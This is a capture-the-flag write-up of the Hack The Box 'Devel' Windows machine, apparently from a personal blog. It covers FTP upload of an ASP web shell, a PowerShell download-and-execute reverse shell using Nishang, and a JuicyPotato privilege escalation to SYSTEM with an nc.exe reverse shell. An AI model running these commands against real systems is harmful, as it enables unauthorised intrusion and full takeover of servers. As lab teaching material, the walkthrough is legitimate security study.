Devel Writeup

23 September 2022 #CTF #HTB #box #easy #windows

devel info


epic nmap catchphrase:

$ sudo nmap -p- -T5 -oN enum/fulltcp.nmap
21/tcp open  ftp
80/tcp open  http
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts.nmap
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
| 09-22-22  08:17PM                    6 test
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5


nmap informed us we have anonymous access to the ftp server. We can check if we have write access as well by trying to put a random file to the server:

$ touch test
$ ftp anonymous@
ftp> ls
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
ftp> put test
ftp> ls
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
09-24-22  03:51PM                    0 test
03-17-17  05:37PM               184946 welcome.png

Yes we can!


The files in the ftp server look very much like the webroot of IIS. We can confirm this by trying to view a file that we uploaded in our browser:

$ echo '<h1>TEST</h1>' > test.html

After some troubleshooting, only files with an extension are allowed:

view uploaded file in browser

We can check HTTP headers with curl -I:

$ curl -I
X-Powered-By: ASP.NET

The server is running ASP code (makes sense since we are dealing with IIS).


The idea is to put a web shell on the server. We'll use this one.

Use ftp to upload it to the remote box and view it in the browser:

web shell

Now we want a reverse shell. We'll use Nishang's Invoke-PowershellTcp.ps1.

$ mkdir share
$ cd share
$ cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1
$ echo 'Invoke-PowerShellTcp -Reverse -IPAddress -Port 4242' >> rev.ps1
$ python -m http.server
Serving HTTP on port 8000 ( ...

Back to the web shell: use this command to execute the reverse shell (after setting up your listener ofc):

powershell IEX (New-Object Net.WebClient).downloadString('')

execute reverse shell from web shell

If all went as planed, we should get a reverse shell as 'iis apppool\web'.


First let's gather some information about the system with the systeminfo command:

OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7600 N/A Build 7600
System Type:               X86-based PC

We can also check the privileges we have:

whoami /priv
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

It's no surprise to see we have the 'SeImpersonate' privilege because we exploited a service account (IIS).

This is Windows 7 so we can try JuicyPotato. I had to use the 32-bit version to make this work.

First we have to transfer the binary to the remote box. To do that, spin up a SMB share with impacket:

$ impacket-smbserver share $(pwd)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

And just copy the file from our attack box to the target:

PS C:\users\public\music> cp \\\share\Juicy.Potato.x86.exe jp.exe

(Make sure you are in a directory for which you have write access to)

This time let's use nc.exe to get a reverse shell (as NT AUTHORITY\SYSTEM hopefully):

PS C:\users\public\music> cp \\\share\nc.exe .

Same process as before: impacket-smbserver to transfer the binary.

(You can find nc.exe at /usr/share/windows-resources/binaries/nc.exe in kali)

This is the command that got me the shell:

./jp.exe -l 4567 -t * -p C:\users\public\music\nc.exe -a '-e cmd.exe 1337' -c '{659cdea7-489e-11d9-a9cd-000d56965251}'

I had to change CLSID but it might not be necessary for you.

Key Takeaways